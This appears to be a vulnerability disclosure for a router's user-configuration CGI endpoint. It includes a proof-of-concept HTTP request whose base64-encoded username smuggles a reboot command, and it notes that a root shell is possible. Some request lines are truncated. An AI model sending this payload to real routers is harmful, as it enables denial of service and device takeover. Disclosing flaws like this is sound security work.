







The picture above shows the latest firmware for this version

## **Vulnerability details**

username and newpass are brought into the dosystem function after base64 decryption, so there is a command injection vulnerability

## Poc

```
POST /goform/form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 F
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 175

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/d\_userconfig.asp

Cookie: curShow=

Upgrade-Insecure-Requests: 1

username=JztyZWJvb3Q7Jw==&oldpass=&newpass=bm9uZ25vbmc%3D&confpass=bm9uZ25vbmc%3D&mo



Then you can see that the router will be restarted

Finally can write exp to get root shell